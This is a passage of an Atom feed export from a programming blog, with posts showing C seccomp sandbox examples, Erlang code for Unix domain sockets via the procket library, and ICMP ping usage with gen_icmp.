class="Constant"&gt;9&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)syscall(__NR_exit);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And here is an example that echoes back any data typed in on standard input with the length prepended:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/prctl.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/syscall.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;asm/unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;void&lt;/span&gt; length();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt;&lt;br /&gt;main(&lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;char&lt;/span&gt; *argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (prctl(PR_SET_SECCOMP, &lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;) != &lt;span class="Constant"&gt;0&lt;/span&gt;) {&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDERR_FILENO, &lt;span class="Constant"&gt;&amp;quot;prctl failed&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;13&lt;/span&gt;);&lt;br /&gt;    }&lt;br /&gt;    &lt;span class="Statement"&gt;else&lt;/span&gt; {&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDOUT_FILENO, &lt;span class="Constant"&gt;&amp;quot;prctl ok&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;9&lt;/span&gt;);&lt;br /&gt;        length();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)syscall(__NR_exit);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;void&lt;/span&gt;&lt;br /&gt;length()&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; buf[&lt;span class="Constant"&gt;1024&lt;/span&gt;];&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; num[&lt;span class="Constant"&gt;256&lt;/span&gt;];&lt;br /&gt;    &lt;span class="Type"&gt;size_t&lt;/span&gt; n = &lt;span class="Constant"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt; ( ; ; ) {&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)memset(buf, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(buf));&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)memset(num, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(num));&lt;br /&gt;&lt;br /&gt;        n = read(STDIN_FILENO, buf, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(buf)-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;if&lt;/span&gt; (n &amp;lt;= &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;            &lt;span class="Statement"&gt;return&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)snprintf(num, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(num), &lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;%u&lt;/span&gt;&lt;span class="Constant"&gt;:&amp;quot;&lt;/span&gt;, n);&lt;br /&gt;&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDOUT_FILENO, num, strlen(num));&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDOUT_FILENO, buf, strlen(buf));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-907443550429636807?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/907443550429636807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2011/02/quick-prctlprsetseccomp-example.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/907443550429636807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/907443550429636807'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2011/02/quick-prctlprsetseccomp-example.html' title='Quick prctl(PR_SETSECCOMP) Example'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-9025826345830717675</id><published>2010-12-25T09:57:00.000-05:00</published><updated>2010-12-25T09:57:22.442-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>Unix Sockets</title><content type='html'>There are various ways to use Unix sockets from within Erlang such as &lt;a href="https://github.com/erlware/gen_socket"&gt;gen_socket&lt;/a&gt; and &lt;a href="https://github.com/gebi/jungerl/tree/master/lib/unixdom_drv"&gt;unixdom_drv&lt;/a&gt;. &lt;a href="https://github.com/erlang/otp/tree/dev/lib/kernel/examples/uds_dist"&gt;Code examples&lt;/a&gt; are even bundled with the Erlang source.&lt;br /&gt;&lt;br /&gt;To work with Unix sockets, I've broken out the socket primitives in the &lt;a href="https://github.com/msantos/procket"&gt;procket&lt;/a&gt; NIF and made them accessible from Erlang.&lt;br /&gt;&lt;br /&gt;Unix (or local or file) sockets reside as files on the local server filesystem. Like internet sockets, the Unix version can be created as either stream (reliable, connected, no packet boundary) or datagram (unreliable, packet boundaries) sockets.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Creating a Datagram Socket&lt;/h2&gt;&lt;br /&gt;The Erlang procket functions are simple wrappers around the C library. See the C library man pages for more details.&lt;br /&gt;&lt;br /&gt;To register the server, we get a socket file descriptor and bind it to the pathname of the socket on the filesystem. The bind function takes 2 arguments, the file descriptor and a sockaddr_un. On Linux, the sockaddr_un is defined as:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;typedef unsigned short int sa_family_t;&lt;br /&gt;&lt;br /&gt;struct sockaddr_un {&lt;br /&gt;    sa_family_t sun_family;         /* 2 bytes: AF_UNIX */&lt;br /&gt;    char sun_path[UNIX_PATH_MAX];   /* 108 bytes: pathname */&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We use a binary to compose the structure, zero'ing out the unused portion:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#define UNIX_PATH_MAX 108&lt;br /&gt;#define PATH &amp;lt;&amp;lt;"/tmp/unix.sock"&amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;&amp;lt;?PF_LOCAL:16/native,        % sun_family&lt;br /&gt;  ?PATH/binary,               % address&lt;br /&gt;  0:((?UNIX_PATH_MAX-byte_size(?PATH))*8)&lt;br /&gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This binary representation of the socket structure has a portability issue. For BSD systems, the first byte of the structure holds the length of the socket address. The second byte is set to the protocol family. The value for UNIX_PATH_MAX is also smaller:&lt;br /&gt;&lt;pre&gt;typedef __uint8_t   __sa_family_t;  /* socket address family */&lt;br /&gt;&lt;br /&gt;struct sockaddr_un {&lt;br /&gt;    unsigned char   sun_len;    /* 1 byte: sockaddr len including null */&lt;br /&gt;    sa_family_t sun_family;     /* 1 byte: AF_UNIX */&lt;br /&gt;    char    sun_path[104];      /* path name (gag) */&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;The binary can be built like:&lt;br /&gt;&lt;pre&gt;#define UNIX_PATH_MAX 104&lt;br /&gt;#define PATH &amp;lt;&amp;lt;"/tmp/unix.sock"&amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;&amp;lt;&lt;br /&gt;  (byte_size(?PATH)):8,         % socket address length&lt;br /&gt;  ?PF_LOCAL:8,                  % sun_family&lt;br /&gt;  ?PATH/binary,                 % address&lt;br /&gt;  0:((?UNIX_PATH_MAX-byte_size(?PATH))*8)&lt;br /&gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The code below might need to be adjusted for BSD. Or it might just work. Some code I tested on Mac OS X just happened to work, presumably because the length field was ignored, the endianness happened to put the protocol family in the second byte and the extra 4 bytes was truncated.&lt;br /&gt;&lt;br /&gt;Here is the code to send data from the client to the server:&lt;br /&gt;&lt;script src="https://gist.github.com/754846.js?file=unix_dgram.erl"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Start up an Erlang VM and run the server (remembering to include the path to the procket library):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ erl -pa /path/to/procket/ebin&lt;br /&gt;Erlang R14B02 (erts-5.8.3) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]&lt;br /&gt;&lt;br /&gt;Eshell V5.8.3  (abort with ^G)&lt;br /&gt;1&gt; unix_dgram:server().&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And in a second Erlang VM run:&lt;br /&gt;&lt;pre&gt;1&gt; unix_dgram:client(&amp;lt;&amp;lt;104,101,108,108,111,32,119,111,114,108,100&amp;gt;&amp;gt;). % Erlangish for &amp;lt;&amp;lt;"hello world"&amp;gt;&amp;gt;, I am being a smartass&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In the first VM, you should see printed out:&lt;br /&gt;&lt;pre&gt;&amp;lt;&amp;lt;"hello world"&amp;gt;&amp;gt;&lt;br /&gt;ok&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;Creating an Abstract Socket&lt;/h2&gt;&lt;br /&gt;Linux allows you to bind an arbitrary name (a name that is not a file system path) by using an abstract socket. The abstract socket naming convention uses a NULL prefacing arbitrary bytes in place of the path used by traditional Unix sockets. To define an abstract socket, a binary is passed as the second argument to procket:bind/2, in the format of a struct sockaddr:&lt;br /&gt;&lt;pre&gt;&amp;lt;&amp;lt;?PF_LOCAL:16/native,        % sun_family&lt;br /&gt;  0:8,                        % abstract address&lt;br /&gt;  "1234",                     % the address&lt;br /&gt;  0:((?UNIX_PATH_MAX-(1+4)*8))&lt;br /&gt;&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To create a datagram echo server, the source address of the client socket is bound to an address so the server has somewhere to send the response. We modify the datagram server to use recvfrom/4, passing in an additional flag argument (which is set to 0) and a length. recvfrom/4 will return an additional value containing up to &lt;i&gt;length&lt;/i&gt; bytes of the socket address.&lt;br /&gt;&lt;br /&gt;We also need to modify the client to bind to an abstract socket. The server will receive this socket address in the return value of recvfrom/4; this value can be passed to sendto/4.&lt;br /&gt;&lt;script src="https://gist.github.com/754848.js?file=unix_dgram1.erl"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;1&gt; unix_dgram1:server().&lt;br /&gt;&lt;br /&gt;1&gt; unix_dgram1:client(&amp;lt;&amp;lt;104,101,108,108,111,32,119,111,114,108,100&amp;gt;&amp;gt;).&lt;br /&gt;&amp;lt;&amp;lt;"hello world"&amp;gt;&amp;gt;&lt;br /&gt;ok&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;Creating a Stream Socket&lt;/h2&gt;&lt;br /&gt;To create a stream socket, we use the SOCK_STREAM type (or 1) for the second value passed to socket/3. The socket arguments can be either integers or atoms; for variety, atoms are used here.&lt;br /&gt;&lt;br /&gt;After the socket is bound, we mark the socket as listening and poll it (rather inefficiently) for connections. When a new connection is received, it is accepted, the file descriptor for the new connection is returned and a process is spawned to handle the connection.&lt;br /&gt;&lt;br /&gt;On the client side, after obtaining a stream socket, we do connect the socket and so do not need to explicitly bind it.&lt;br /&gt;&lt;script src="https://gist.github.com/754849.js?file=unix_stream.erl"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Running the same steps for the client and server as above:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;1&gt; unix_stream:server().&lt;br /&gt;&amp;lt;&amp;lt;"hello world"&amp;gt;&amp;gt;&lt;br /&gt;** client disconnected&lt;br /&gt;&lt;br /&gt;1&gt; unix_stream:client(&amp;lt;&amp;lt;104,101,108,108,111,32,119,111,114,108,100&amp;gt;&amp;gt;).&lt;br /&gt;&amp;lt;&amp;lt;"hello world"&amp;gt;&amp;gt;&lt;br /&gt;ok&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-9025826345830717675?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/9025826345830717675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/12/unix-sockets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9025826345830717675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9025826345830717675'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/12/unix-sockets.html' title='Unix Sockets'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-60446710071297677</id><published>2010-12-03T22:23:00.003-05:00</published><updated>2010-12-10T11:42:31.965-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>ICMP Ping in Erlang, part 2</title><content type='html'>I've covered sending ICMP packets from Erlang using &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;BSD raw sockets&lt;/a&gt; and Linux's &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-sending.html"&gt;PF_PACKET socket option&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://github.com/msantos/gen_icmp"&gt;gen_icmp&lt;/a&gt; tries to be a simple interface for ICMP sockets using the BSD raw socket interface for portability. It should work on both Linux and BSD's (I've tested on Ubuntu and Mac OS X).&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Sending Ping's&lt;/h2&gt;To ping a host:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; gen_icmp:ping(&lt;span class="Constant"&gt;&amp;quot;erlang.org&amp;quot;&lt;/span&gt;).&lt;br /&gt;&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;193&lt;/span&gt;,&lt;span class="Constant"&gt;180&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;20&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;33786&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;129305&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;      &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot; !&lt;/span&gt;&lt;span class="Special"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJK&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The response is a list of 3-tuples. The third element is a 2-tuple holding the ICMP echo request ID, the sequence number, the elapsed time and the payload.&lt;br /&gt;&lt;br /&gt;A bad response looks like:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; gen_icmp:ping(&lt;span class="Constant"&gt;&amp;quot;192.168.213.4&amp;quot;&lt;/span&gt;).&lt;br /&gt;&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;error&lt;/span&gt;,host_unreachable&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;4&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;34491&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;   &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;84&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;14&lt;/span&gt;,&lt;span class="Constant"&gt;220&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;119&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;4&lt;/span&gt;,&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;196&lt;/span&gt;,...&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The argument to gen_icmp:ping/1 takes either a string or a list of strings. For example, to ping every host on a /24 network:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; gen_icmp:ping(&lt;span class="Special"&gt;[&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Identifier"&gt;N&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;||&lt;/span&gt; &lt;span class="Identifier"&gt;N&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;-&lt;/span&gt; lists:seq(&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;254&lt;/span&gt;) &lt;span class="Special"&gt;]&lt;/span&gt;).&lt;br /&gt;&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;error&lt;/span&gt;,host_unreachable&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;254&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;54370&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;   &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;84&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;13&lt;/span&gt;,&lt;span class="Constant"&gt;226&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;119&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;254&lt;/span&gt;,&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;82&lt;/span&gt;,...&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;,&lt;br /&gt; &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;error&lt;/span&gt;,host_unreachable&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;190&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;  &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;54370&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;   &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;84&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;64&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;14&lt;/span&gt;,&lt;span class="Constant"&gt;34&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;119&lt;/span&gt;,&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;190&lt;/span&gt;,&lt;span class="Constant"&gt;8&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,...&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;,&lt;br /&gt;&lt;/pre&gt;gen_icmp:ping/1 takes care of opening and closing the raw socket. This operation is somewhat expensive because Erlang is spawning a setuid executable to get the socket. If you'll be doing a lot of ping's, it's better to keep the socket around and use ping/3:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Identifier"&gt;Socket&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; gen_icmp:open().&lt;br /&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Statement"&gt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0.308&lt;/span&gt;.&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; gen_icmp:ping(&lt;span class="Identifier"&gt;Socket&lt;/span&gt;, &lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;www.yahoo.com&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;erlang.org&amp;quot;&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;id&lt;/span&gt;, &lt;span class="Constant"&gt;123&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;sequence&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;timeout&lt;/span&gt;, &lt;span class="Constant"&gt;5000&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;).&lt;br /&gt;&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;193&lt;/span&gt;,&lt;span class="Constant"&gt;180&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;20&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span 